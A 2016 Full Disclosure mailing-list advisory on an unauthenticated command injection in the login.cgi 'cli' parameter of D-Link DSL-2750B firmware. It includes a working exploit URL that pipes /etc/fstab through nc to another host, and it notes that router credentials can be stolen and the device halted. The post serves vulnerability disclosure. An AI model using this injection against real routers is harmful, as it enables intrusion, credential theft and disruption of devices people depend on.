Full Disclosure mailing list archives

D-Link router DSL-2750B firmware 1.01 to 1.03 - remote command execution no auth required


From: p <p () quantumleap it>
Date: Fri, 5 Feb 2016 17:39:31 +0100

After some playing around I've noticed something interesting during
login phase: by sending wrong credentials, user is redirected on an
error page with url

http://192.168.1.1:666/login.cgi?cli=access%20login%20encrypted%2041544A25DC00170BA90659AD4CBDD9D9$

http://imgur.com/ZG1vU2t

In order to see what's happening we must start the web server with the
debug output enabled:

httpd -o -p 666 -m -1 -v 5

and try again to login with wrong credentials.

http://imgur.com/tepy3XD

Arguments of "cli" parameter are passed directly to a binary that will
execute that particular given command; the complete list of commands
available are inside "/etc/ayecli/ayecli.cli" file. (among them there's
a creepy "system halt" that will shutdown the router no matter what).

Arguments are passed in a way that

 ayecli -c 'command-here' so

the way to escape is to close, add a command and close again to
neutralize "$" substitution with ' :

ayecli -c 'command';injection''
that is:

http://192.168.1.1/login.cgi?cli=multilingual%20show%27;nc%20192.168.1.8%20666%20%3C%2fetc%2ffstab%27$

http://imgur.com/nLFnWeo

it's also possible to retrieve admin password, wifi passphrase etc

cheers,
p@ql

thanks to ps and fp

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


Current thread: